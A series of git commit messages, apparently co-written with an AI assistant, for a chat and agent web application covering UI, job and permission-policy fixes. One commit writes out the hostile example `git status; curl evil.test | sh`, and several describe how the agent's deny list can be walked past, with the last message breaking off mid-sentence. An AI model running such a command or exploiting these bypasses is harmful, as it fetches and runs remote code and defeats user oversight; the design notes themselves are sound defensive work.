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 Jaroslav Beneš
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Refusing can say why, and the why is an instruction
"Don't" told the model it was refused and nothing else, so it did the one sensible thing left and asked what you would rather -- a whole round spent on something you knew when you pressed the button. "Give reason" opens a box beside it, and what you write goes back with the refusal. The reason changes what the model is *told*, not only what it reads, and that is the whole of the feature. `_not_allowed` branches: given nothing to go on, "say what you were going to do and ask what they would prefer" is right; given a reason it is exactly wrong, because the answer is already on the screen above and the model spends a round asking for it again. So it is pointed at the reason and told to carry on from it. The "do not look for a way round" half is kept either way -- that half is about the refusal and holds regardless. A card-level field rather than `text.<key>`. One card covers everything in the round for the reason the primitive exists, so one reason answers the round; and on an approval card `text.<key>` already means a corrected command, which is a different thing arriving in the same shape. Read only on a refusal, so a reason typed and then abandoned by pressing Allow cannot travel with a permission. Bounded where the Reply is built, so nothing downstream thinks about length, and put on the tool event as well as in the result -- a transcript saying a step was refused without saying why is one you had to have been watching to understand. It is also the one thing in a tool result that is genuinely not untrusted: the reader's own words, stated as theirs, needing no fence. Both halves of the control are in the DOM with one hidden and the textarea disabled while hidden, which is the rule the edit box beside it already states: a field created by a click submits nothing when the click handler fails, and an empty `reason` arriving would have to be told from one somebody cleared. The version bump is not incidental. chat.css changed and the service worker caches it under a name keyed on the version, so without it the first reload serves the old stylesheet. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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A job that finishes reaches the page you are looking at
Three complaints, all downstream of background commands.
A finished job woke the model and not the browser. `jobs.wake` writes the
completion and calls `generation.ensure`, and nothing tells the page: the only
stream here is per-message, opened by the `sse-connect` on an incomplete
assistant bubble -- which is a bubble this page has not got, because the reply
that created it began somewhere else. `_queue_frames` proves the swap works and
can only ride a stream already open. So the reader sat on the chat, watched the
sidebar dot light up for the chat in front of them, and had to click it or
reload to see a reply that had been there for minutes.
`GET /api/chats/{id}/tail?after=` and a five-second poller is the answer, polled
for the reason `/unread` is: a second always-on connection per tab is a lot of
machinery for something that happens a few times a day. A cursor it cannot place
-- absent, from another chat, naming a row a rewind deleted -- is answered with
204 and never with the transcript, which the page still holds every bubble of.
The cut is read from the row so `_inject`'s restamp moves it too, and compared in
SQL, a row read back from SQLite being naive where one still in the session is
aware; the `id >` tie-break is not decoration, since under a bare `>` a row
sharing the cut's microsecond is skipped for ever.
The cursor comes from the DOM, because the DOM is the honest answer to what the
page has -- the composer's POST, the `done` frame and the last poll all move it,
and a variable would have to be updated by each of them, correctly, for ever. On
`htmx:configRequest` rather than `hx-vals="js:…"`: two of the three things that
handler does are cancellations, which `hx-vals` cannot express. Not
`article.msg:last-of-type` either -- that is per-parent, so on a compacted chat
it answers with the last article inside the `<details>` and the poll re-appends
half the conversation. It is silent while a reply streams, since that reply
delivers its own bubbles in the one frame that can get the order right, and a
`htmx:beforeSwap` listener drops any answer holding a bubble already on the page:
the race `hx-sync` cannot reach, and a duplicate there is a second `sse-connect`
for one message rather than a cosmetic one. The route clears `unread` on every
tick including the 204, because `_persist` marks a reply unread whenever
`followers == 0` and that is true of a job-woken reply with somebody watching it.
The completion also claimed the reader had sent it. The role is load-bearing --
`_inject` sends a queued turn verbatim and `build_messages` must keep seeing a
user turn -- so `Message.machine` marks the bubble instead and the request is
untouched. Their initial, their name and a pencil offering to rewrite what a
machine reported: the route refuses the edit too, a hidden button being a
courtesy. `_completion_text` is deliberately unchanged, `tool.background` quoting
its opening sentence to the model, and there is now a test holding the two
together.
And the panel. `.jobs__row` had no horizontal padding while `.picker__menu` has
none either, so every row ran flush into the border under a header inset by
--sp-3. `jobs__row--open` had been emitted since the panel shipped with no rule
anywhere, so the row whose log was on screen looked like the ones that were not.
The dot was keyed on `status`, and `done` is exit 0 and exit 2 alike -- green
beside the row's own "Failed, exit 2" -- so `JobView.tone` answers the colour and
the template goes on answering the wording, which is the half a class name cannot
carry. `duration` is empty for a running job on purpose: this panel is fetched
when somebody opens it and never polled, so a live figure would freeze the
instant it painted. Its stamps are normalised before subtracting, a job started
before a restart and finished after it having one naive and one aware.
Driven under the DOM stub before committing, per the standing rule: two listeners
on document.body for events dispatched at a requesting element are exactly the
shape a regex cannot check.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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Jaroslav Beneš
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Look around the machine before deciding to talk about it
The terminal and the canvas both needed a Chat, so they were missing from the one screen where you are choosing which machine to work on. A draft is the smallest thing that fixes it: an id, and the three facts behind it. The trick is that a draft resolves to a *transient* Chat -- constructed, never added to a session. `canvas.agent_ready`, `_executor`, `_load_agent`, `_save_agent` and `agent_session.resolve` read exactly four attributes between them and none of them queries or writes the row, so all of it works unchanged and nothing had to learn what a draft is. Proven against a real sshd rather than a stub: a transient chat opens and saves a project file over the same SFTP path a real one uses, and the database stays empty throughout. Chats are still created lazily. A draft is not a chat and never becomes one; when the first prompt makes the real one, the shell is re-keyed into it and the open tabs are copied across. `terminal.rekey` moves the registry key *and* `session.chat_id`, because close_for_profile, close_for_owner and the reaper all pop by the field -- a stale one would leave a dead session that `get` keeps handing out. The shell is only adopted when its profile and directory match the chat as finally resolved, since `_new_chat` settles an empty directory to the connection's own; otherwise it is left alone rather than transplanted onto a chat that says it runs elsewhere. Two canvas sources are refused on a draft, by name, and one of them is a hole rather than an inconvenience. `_load_file` authorises with `attachment.chat_id != chat.id`, and an upload made on the new-chat screen is stored with `chat_id=None` -- so a draft whose chat carried no id would make that comparison `None != None`, which is False, and open every unclaimed attachment its owner has. `as_chat` does set an id, so it already fails; the refusal is stated anyway, because a guarantee that lives in an id-shaped coincidence is one the next change breaks without noticing. Adoption needed almost no JavaScript: start_chat already answers with HX-Redirect, so the page reloads and the canvas adopts by construction while the terminal reconnects to the re-keyed session and replays its scrollback -- the "a reload is indistinguishable from a second tab" property working for us. What re-points them mid-screen is a `lembas:agent-target` event, dispatched from `setDir` and the connection select because assigning to a hidden field's value fires nothing on its own. Driven under a DOM stub before committing. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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fe43e95b79 |
A thinking block that says how long and how much
Each block reports its own round now. `reasoning_ms` was the reply's first burst, written once, so on the fifteen-block reply GPT-OSS actually produces only the first could claim a duration and the other fourteen said "Thought" and nothing at all. `Generation.thinking_ms` accumulates per round and `close_step` stamps it cumulatively, so steps.py diffs it exactly as it already diffs the three lengths beside it. The interval between a round's first and last reasoning delta, deliberately, not a sum of gaps between deltas -- that would count the network's latency as the model's thinking. While it runs: "Thinking" with an ellipsis that types itself, and the seconds and tokens climbing beside it. The ellipsis is a `content` keyframe, so there is no timer to start, stop or clean up when the block is swapped away -- it stops existing when the element does. The numbers come from a `think` frame, and `round_thinking_ms` is written by the producer rather than computed by the follower from a start time: a model that has stopped thinking and moved on to a tool should show a settled number, not a clock that keeps running. Tokens read exactly up to 200 and as `0.4k` above it, from one helper shared by the live label and the stored one, so the two cannot drift into two conventions. The live duration is terser than the finished one -- `6s` against `6 seconds` -- because it sits beside an animating word and changes every second, where "less than a second" flickering into "1 second" reads as a glitch. Checked against the real endpoint: fourteen marks carrying 919ms through 14223ms, per-block labels from "less than a second · 111" to "4 seconds · 0.5k", and the live frames resetting each round rather than accumulating. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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A form's handler answers its own request, and a finished reply is finished
Two regressions, one of them much older than it looked. htmx events bubble, and the composer's form declares `hx-on::after-request` so it can clear itself after sending. Six things inside that form make requests -- the two scope switches, "ask me about these again", the agent mode select, the effort select, and the jobs chip -- and every one of their afterRequest events was reaching that handler. So changing the mode, or the effort, or toggling a tool called `this.reset()` on a composer somebody was typing in and dragged the view to the bottom. That has been true for as long as those controls have existed. The jobs chip did not introduce it; it polls, so it made it happen every five seconds, and that is the only reason it was ever noticed. `event.target === this` is the whole fix, and it is what the attribute always meant. Moving the chip out of the form would have left the other five. The second: `steps.for_message` marked its trailing prose step as still being written, so every finished reply ending in prose carried `msg__body--live` and blinked a caret at the reader for ever. One flag was doing two jobs -- emit the tail, and mark it live -- and a stored reply wants the first without the second. They are separate arguments now. Note what the existing test for that did: it asserted the caret was on the *right* step, through `for_message`, and passed. It never asked whether a finished reply should have one at all. It is driven through the live path now, and the stored path has its own assertion. The composer handler is driven under a DOM stub -- extract the body from the template, fire the event from a descendant and from the form -- because a source assertion can only say the guard is present, not what it does. Checked against the bug before being kept: without the guard the stub reports the text wiped and the thread scrolled. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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df2d5cc877 |
The jobs chip was replacing the whole transcript
This is the blank agent chat, and it was not the transcript rewrite at all.
`hx-target` is inherited. The composer's form carries `hx-target="#thread"`
with `hx-swap="beforeend"`, which is what makes a sent message append a bubble.
The background-jobs chip I added last commit sits inside that form and declared
`hx-swap="outerHTML"` and nothing else -- which reads as "replace yourself" and
resolved, through the form, to "replace #thread with yourself". On load, and
then again every five seconds.
So an agent chat rendered its reply and then went blank, the reader's own prompt
along with it, because the entire transcript had been swapped out for a chip
that renders empty when no jobs are running. Only agent chats, because that is
the only place the chip exists. The server logged nothing, because nothing there
had gone wrong: every page render, every SSE frame and every stored row was
correct throughout, which is why four rounds of looking at the server found
nothing.
Both the chip and the element that loads it now carry `hx-target="this"`, and
`tests/test_chat.py` walks the composer's form and refuses anything that fetches
without saying where its answer goes. Checked against the bug before being kept.
Worth being precise about what made it invisible: the markup was correct. There
is nothing wrong with `hx-swap="outerHTML"` on an element with no target -- it
means "swap yourself" right up until an ancestor disagrees. It is the same
family as the trigger bound where the event does not go, and the same lesson:
assert the resolved property, not the attributes.
My earlier fix in
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Jaroslav Beneš
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A question that offers real choices, and says how many you may take
Three things about `ask_user`, all of them about the card being answerable rather than about the tool being callable. Options are required now, and they are objects: a label, and a line of description where the label alone does not say what choosing it would mean. "Rewrite it" and "Patch it" are two words that do not tell you which one loses your uncommitted work. They stack one per line, because a row of chips has nowhere to put the second line and no room to read the first. The model says whether they are exclusive. Only it knows whether its options are alternatives or a set, and the card has to show which -- a radio group offered where checkboxes were meant loses every answer but one. Exclusive is the default, being the cheaper mistake. A `multiple` question posts the same field name once per ticked box, so the endpoint gathers choices into a list; the `setdefault` it did before kept the first and dropped the rest, which is an answer that says something the reader did not. And "Something else" is added here, on every question, with the box behind it revealed by `:has()` and no JavaScript at all. The model is told never to write an "other" option of its own, because its version would be a choice with no box behind it -- a word submitted that means nothing. It carries a sentinel rather than an answer, and the endpoint swaps in what was typed beside it, or drops it when the box was left empty rather than telling the model the answer is "__other__". Typing no longer beats picking. That rule belonged to a box that was always visible next to the options; this one only exists once its own option is chosen, so picking is the answer and the box is one of the things you can pick. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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An sse-swap element must never contain another
An agent reply rendered nothing from its first tool call onwards. An ordinary
chat was fine, and that difference is the whole diagnosis: `#steps-{id}` is
itself an `sse-swap` target, so its innerHTML is replaced every time a round
closes -- and I had put the live `reasoning` and `render` containers *inside*
it. Every round boundary tore out the two elements the next frames were aimed
at, in the same pass that aimed them. An ordinary chat closes no steps, so the
swap never happened and nothing was ever torn out.
The tail moves back out to `_message.html`, as siblings of the steps container.
That removes the trick where the `steps` frame re-emitted the tail empty in
order to clear it, and replaces it with something simpler: `reasoning` and
`render` are now sent on every pass including empty, which is what clears them
when a round closes. Safe here and not before -- they carry the open tail only,
so an empty one means the tail is empty, where the version that carried the
whole reply would have wiped the answer. `steps` is the frame that must never
blank now.
`tests/test_chat.py` walks every template and refuses any `sse-swap` element
inside another; checked against the bug before being kept.
Two things I had left undone and should not have. `.msg__steps` had no styling
at all, so the sequence ran together with nothing separating a paragraph from
the command it led to. And `.msg__body--live:not(:empty) + .msg__waiting .dots`
stopped matching when those two stopped being siblings, so the dots pulsed
beside a finished answer for ever; it is a `:has()` on the bubble now.
The version bump is not cosmetic either: the service worker keys its cache on
it, so without one every browser kept serving the previous release's CSS and JS
against the new markup.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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Jaroslav Beneš
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A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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A directory chip that stopped eating the row
The project directory showed its whole path, which on anything real filled the chip's 16rem basis and pushed the Manual/Edit/Auto/Plan select off the end of the composer. It shows the directory's own name now, with the full path in the tooltip -- the leading directories are the part nobody reads, since what you check before sending is that you are in `myproject` rather than `myproject-old`. The hidden field still submits the whole path. Shortening a label must never shorten a value, and there is a test on the row rather than on the markup for exactly that. Three CSS rules hold the row together, and none of them is visible from the markup. `.composer__agent` needed `min-width: 0`: a flex item will not shrink below its content without it, so the group refused to give and the *last* child was what fell off -- which is why the mode select was the thing being cut rather than the path that was too long. `.composer__dir` is capped, being the only child here whose content is unbounded; a connection name and a mode are both short and known. And the mode select is `flex: none`, because it is read and changed constantly and should never be the thing that scrolls out of reach. `baseName` driven under node against ten paths, trailing slashes and `/` included. The topbar's copy of the same path was already capped and truncating, so it is left alone. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Pinned models that know which side you are on
Reported: a pinned model always opened an ordinary chat, even with Agents selected in the sidebar. They now carry `&kind=agent` with the switch -- a preselection like `?model=` itself, so the new-chat screen still decides and nothing is fixed until the first message is sent. They sit above the tree the switch swaps, so this is the same shape as the New chat button a few commits ago and gets the same treatment: their own partial, arriving out of band. The group is rendered even when nothing is pinned, because a block that vanished when the last model was unpinned would leave that fragment with nowhere to land -- and htmx says nothing at all when a target is missing, which is the silent failure this codebase keeps cataloguing. `.nav-group--pinned:empty` stops the empty one taking room. Chasing it turned up something else. The shortcuts came from `_chat_context`, which only the chat pages build -- so the library, connections, settings and folder pages carried the sidebar without them. A shortcut that is there on one page and gone on the next. They come from `sidebar_context` now, where they belong: it is sidebar content, and it is what the fragment route has. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Two controls that did nothing, and instructions worth reading
**Switching mode mid-reply did nothing.** The mode was snapshotted when the reply began, so changing to Auto during a long agent reply went on asking about every call until the next turn. The same snapshot held the chat's allow list, which means "Always allow this" was accepted, written to the row, and then ignored for the rest of the reply that had just asked about it -- the same bug, in the quieter place nobody reported. `agent/session.py:refresh` re-reads exactly those two, between rounds and never within one. A round's calls are authorised together, so a switch must not retroactively approve what is already queued -- which is the property the reply-long snapshot was protecting by accident, and the reason this is not simply moved into `_authorise`. It mutates in place, because `as_approved` copies field references and a replacement would leave the round's approved copy pointing at the old context. **The composer's highlighting stayed behind after sending.** htmx fires afterSwap and afterSettle *before* afterRequest, and the composer empties itself from `hx-on::after-request` -- so every repaint ran while the box still held the message. It repaints on afterRequest and on `reset` as well now, deferred a frame: a form's reset event fires before its fields are actually cleared, so reading the value in the same turn paints the text that is about to vanish. Driven under a DOM stub reproducing htmx's real ordering, and confirmed to fail without the fix. **plan_update, audited.** It never said to mark a task `doing`, so the plan only ever showed work already finished, which is the opposite of "what somebody reads to see where you are". It never said several changes fit in one call, so a model spends a round per task. And `done` now means checked rather than written. **New: core.engineering**, an agent-chat fragment about conduct rather than about any language -- run what you write, find the project's own build and test commands rather than guessing, read before editing, change one thing at a time, read the error instead of guessing at a fix, do not broaden an except to make output clean, and say what you did not check. Every line is about the gap between having written something and knowing it works, which is the gap a model closes by asserting. That pushed the shipped harness to within 1,300 characters of its ceiling, where crossing it silently severs the project's own AGENTS.md. The ceiling is 20,000 and the test pins a margin as well as a fit -- the headroom is also where an administrator's own wording goes, and an override is usually longer than the default it replaces. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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A title call that could not survive a model that thinks
Reported: chat names never regenerate after the first reply. They were regenerating; the request was being made and the answer thrown away. `complete()` returns `message.content` verbatim, and a model that emits `<think>` inline puts its thinking in exactly the field the title is read from. So the title came back as "<think>Okay, the user wants a short title for" -- or, once the too-long guard caught that, as the first prompt trimmed, which is indistinguishable from titling never having run. That is what was being seen. Underneath it, `max_tokens: 24`. Ample for six words, and nowhere near enough for a model that reasons first: the budget goes on thinking and the content field comes back empty or holding an unclosed tag. Too small is not a shorter title, it is no title at all. Both fixed: the reply goes through `reasoning.strip_reasoning`, and the budget is `TITLE_MAX_TOKENS` with room to think. Reproduced first against the four shapes an endpoint actually answers with -- three of them were broken -- and the tests are written from those. What I did *not* do is ask for a low reasoning effort on the call, which would make it much cheaper and was the obvious move. `reasoning_effort` and `chat_template_kwargs` appear only where somebody has opted in, so that a provider strict about unknown parameters sees exactly the request it always did. An LLMError here is caught and turned into a fallback title -- so a 400 would be titling silently switching itself off, which is the failure this commit exists to fix. The token budget makes the room instead. The shipped prompt now asks for a leading emoji, as requested. Asked for rather than assumed: a model that ignores it gives a title without one, and an administrator who does not want them clears the word. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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A ceiling that was a schedule, and a reply that ended in silence
Reported: an ordinary chat with a small local model researching a question well -- six searches, each one informed by the last -- stopped at the round limit and produced no answer at all. Two separate faults, and the second is the serious one. The limit was 5 and it should not have been a working number. It was 1 once, and the note beside it already said why that was wrong: a count low enough to be reached by ordinary work is a schedule, not a ceiling, and it overrides the model's judgement on every turn instead of catching a runaway. Five was the same mistake with a larger number. It is 0 now -- no ceiling, falling back to MAX_TOOL_ROUNDS as a runaway backstop, which is the shape `Limits.steps` already had for an agent chat. What bounds an ordinary chat is the context window, which is a real limit rather than a guess at how much looking-up a question deserves. An administrator who wants a ceiling can still set one. The worse fault: *every* budget ended the reply where it was noticed. That is survivable for a model that narrates as it works and produces nothing at all for one that goes straight to tool calls -- an empty bubble with a red line under it, and everything it had gathered thrown away. `_wrap_up` withdraws the tools and asks once more instead. What it found is in the transcript either way; one request turns it into an answer. Same move `plan_submit` makes, and the reason the loop now runs to `budget + 2`: the round at the budget notices, the one after it answers. The event stays, because an answer the model chose to give and one it gave because it ran out of room read identically otherwise. `_too_big` is the one exception and stays a hard stop. It *is* the finding that there is no room for another request, so a wrap-up round would be the same overflow with an upstream error in place of an explanation. `core.keep_working` was gated on the agent family and is now gated on `unbounded`, the exact complement of `round_budget` -- so an ordinary chat with no ceiling is told to work until the job is done rather than being told nothing, and is never told it has a budget of two hundred, which it would ration. The regression test asserts the reply is not empty, and fails with `'' == 'Here is what I found.'` against the old code -- which is exactly what was seen. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Three things that said one thing and did another
All three shipped in the last two commits, and all three are the same kind of mistake: an interface that looks right and is not. The folder settings page could not be scrolled. `.main` is a flex column with `min-height: 0`, so a `.page` dropped straight into it overflows the viewport with nothing to scroll -- Save and Back end up below the bottom of the window, reachable by zooming out or by dragging the prompt textarea up out of the way. Every other page of this shape already wraps its content in `.admin-scroll`; this one did not. The two class names that scroll are one rule in admin.css precisely so this is a wrapper somebody forgot rather than a value they got wrong, and now it is noted. The project directory was a text box, on the one screen that asks for an absolute path on another machine. It is the same button-and-hidden-field the new-chat screen uses, wired by `[data-dir-field]` in ui.js -- scoped to that attribute so this and the composer's own handler cannot both answer one click and open two dialogs. The composer keeps its own because it does more: it follows the selected profile's default directory until somebody picks their own, which only means something while a chat is being created. With no connection chosen it says so rather than opening onto nothing, and Clear is always there, because browsing somewhere and changing your mind before saving needs a way back to "no opinion" as much as clearing a saved one does. And "New chat" did not follow the Chat/Agent switch. The button sits above the scroll area rather than inside the tree the switch swaps, so it went on saying "New chat" over a list of agent chats. It moves to its own partial and arrives out of band, the way the chat title already does. Renaming it to something neutral would have hidden the bug rather than fixed it, and would have cost the `?kind=agent` preselection the label is there to explain. The tests that existed asserted a page load, which re-renders the button anyway -- which is exactly why nobody saw it. The new ones assert the fragment. The directory field was driven under a DOM stub first. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Files, open beside the conversation
A third side panel, built the way the terminal is and filled the way the inspector is: tabs holding open files. Project files over SFTP in an agent chat; notes, skills, knowledge documents, this chat's text attachments and its own scratch document everywhere. Read with pygments, edited in a plain textarea, saved with a conflict check. A bug found on the way in, and the reason this needed its own read path. `ssh.read_file` ends in `clean_output`, which strips ANSI escapes and decodes with errors="replace" -- right for the output of a command, and fatal for an editor: open a file containing an escape byte, press Save, and you have silently rewritten it with the escapes gone and every undecodable byte replaced by U+FFFD. `read_text`/`write_text` decode strictly, report binary rather than mangling it, carry an mtime:size token for a file that moved underneath, and refuse an oversize write rather than truncating -- `write_file` truncates because a model is told how many bytes it wrote, and somebody pressing Save is not. The model-facing pair is untouched: what it returns is a contract a model has been shown. A truncated read opens read-only for the mirror-image reason. Six sources go through one dispatch table, for the reason tool_labels.py is a table: six independently written permission checks is how one ends up written slightly differently, and that failure looks like editing somebody else's note. A save on a project file bypasses agent/policy.py, which makes it the fourth documented exception to "the modes do not govern the keyboard" and the first that writes. Same argument as the terminal panel -- whoever owns the credential could write the file with scp -- but the consequence is larger and is now said out loud rather than left to be inferred. The model opens tabs from the file tools it was already calling, so no new schema and no tokens. It never brings one to the front: an agent reads forty files in a long reply, and taking the screen each time would drag somebody through all of them and lose any edit in progress. Only the strip is streamed, guarded on truthiness so the frame can never blank itself -- an empty one would close every open tab, the approval card you could press twice with the sign reversed. Both halves are settled on the server, which is why canvas.js needs no guard against a swap at all. No vendored editor. CodeMirror 6 needs a bundler, which is hard rule 1; CodeMirror 5 would be a larger payload than xterm on every page, and xterm is the one heavy dependency precisely because it loads only where it can be used. So: server-rendered highlighting for reading, a textarea for writing, and the panel says there is no colour while you type rather than pretending. Also here: a scratch document per chat, with `scratch_write` at RISK_READ on plan_update's argument, and a test pinning the three numbers that decide a panel's width -- LAYOUT_BOUNDS drops an unknown variable silently, so a panel missing from it has a drag handle that works and forgets. Driven under a DOM stub and against the running application. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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50270e13f7 |
Names that fit the chat, and a way to change one
Two things about titles were wrong. Every chat spent a second completion on its name, including an agent chat whose opening words are already a title -- somebody starting one states an objective, not a topic. An agent chat now takes `fallback_title` from its first prompt and makes no request at all; an ordinary chat, which opens with a question whose *answer* is what makes a title worth asking for, is unchanged. And renaming existed only as the `/title` slash command, which set the heading and left the sidebar row showing the old name until the next reload -- a rename that looks half-applied is one people do twice. There are pencil buttons on the heading and on every sidebar row now, both PATCHing the route that was already there, and `update_chat` answers a rename with the out-of-band pair the `done` frame has always sent, so one response moves both. Only on a rename: sending it for every PATCH would overwrite the heading from an unrelated save. `/title` sets both spans itself, being a bare fetch rather than htmx. The dialog is the `data-prompt` mechanism the folder work added, which is why the heading keeps a button rather than becoming an inline field: it sits in a flex row beside the badges and the connection chip, and swapping it for a text box moves all of them. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Correcting a command before allowing it
An approval card was Allow, Always, or Don't. A model proposing the right command with one flag wrong therefore cost a whole round trip to explain in prose. There is an Edit button on it now. Where the edit lands is the whole of the feature, and it is one line. `arguments` is the list `_run_calls` hands to `run_tool` as `parsed=`, and `run_tool` never re-parses -- so writing into it inside `_authorise` is the only mutation the runner can see. Editing the Item would do nothing: it is frozen and display-only. Two things had to move with it. The raw `call["arguments"]` string is rewritten beside the parsed dict, and the assistant turn is now built *after* `_authorise` rather than before it -- the old order told the model it ran what it proposed while something else ran, and every later round would have reasoned from a transcript that was quietly false. And `_remember_always` reads the edit, or "always allow this" would store a standing permission for a command nobody approved; it still derives the pattern itself through `policy.subject`, which yields nothing for a composed command line. Nothing is re-checked against the mode or the lists, and that is not a shortcut. The deny list resolves to ASK rather than to a refusal -- it means "always ask about this" -- so a person who has typed the command and pressed Allow is exactly the asking it was demanding, and re-asking would put the same card up with no way past it. It is the line the terminal panel already draws. The box is only offered where the detail *is* an argument and can be put back: a tool with no entry in `tool_labels.DETAIL_KEYS` gets a `k=repr(v)` summary, and a box there would silently change nothing. Both halves are always in the DOM with one hidden, rather than the field being created on click -- a field that does not exist until a handler runs is a field that submits nothing if the handler fails, and this one decides what runs on somebody's machine. The transcript says "edited by you". Attributing somebody's own typing to a model is the same misattribution as the other way round. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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A folder that carries something, and a way to name one
A folder was a name and nothing else -- and not even that, since PATCH could rename one and nothing in the interface ever called it. It now carries a description, a system prompt, and seeds for the model, the kind and the agent target, with a settings page behind the row. The prompt is a fourth rung on the ladder, chat > folder > model > instance, and it goes above the model deliberately: a model's prompt describes the model wherever it is used, a folder's describes this piece of work whichever model is pointed at it. It is read when a reply is built rather than copied when a chat is made, so editing it reaches the chats already there, and the walk up the parents is bounded and cycle-safe because it runs on the request path. `api/pages.py` mirrors the ladder for the settings panel and had to gain the same rung -- a panel naming the wrong source is worse than one naming none, because it is believed. The seeds fill in what the request left empty and nothing it filled in: the folder says what this work usually needs, the screen in front of somebody says what they want this time. `ssh_profile_id` is a plain string rather than a foreign key, for the reason `compacted_through_id` is, so it is validated on read. Getting *into* a folder needed fixing too. `/api/chats/start` has accepted a folder_id since folders existed and nothing ever sent one, so the only route in was to make the chat elsewhere and move it. There is a New chat here on the row now, and `?folder=` on the new-chat screen. Naming is a themed dialog, and deliberately not htmx's hx-prompt: htmx calls the browser's prompt() synchronously and only then fires htmx:prompt with the answer already in hand, so intercepting the event cannot supply a different one and the grey box appears anyway. `data-prompt` follows the data-confirm-button shape instead -- swallow the click, ask, write the answer into hx-vals, click again behind a guard. JSON.stringify rather than concatenation, or a folder called `"` produces hx-vals that does not parse and the rename silently does nothing. Driven under a DOM stub, and there is a test that no template brings hx-prompt back. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Two kinds of work, and a switch to say which
The sidebar rendered an agent chat and an ordinary one identically, in one list, so hours of machine work sat among a morning's questions. A switch below the pinned models now shows one kind at a time, stored on the account so it follows the reader to another browser. Three things it does that are not the obvious version: The switch is inside the fragment it swaps. Targeting only the tree would leave the two buttons showing the side you had just left -- the request works and the interface says otherwise, which is the failure this codebase keeps cataloguing. A folder can be emptied by the filter, or have been empty all along, and only the first is a reason to hide it. `shown_in` is that line: a folder somebody made a moment ago and has not filled yet stays on both sides, or it can never be found again, let alone filed into. With agent chats switched off there is no switch, and the sidebar goes back to showing everything rather than to one side of a fork nobody can move. An administrator turning the feature off would otherwise strand whoever last left the switch on Agents in an empty sidebar with no way out. The control reuses the composer's `.segmented`, which is the same choice in a different place, and the verb goes on the input rather than the wrapper. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Four things that failed silently in an agent chat, and an account of the work
Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.
**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.
**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.
**One character walked past the deny list.** `subject()` yields nothing for a
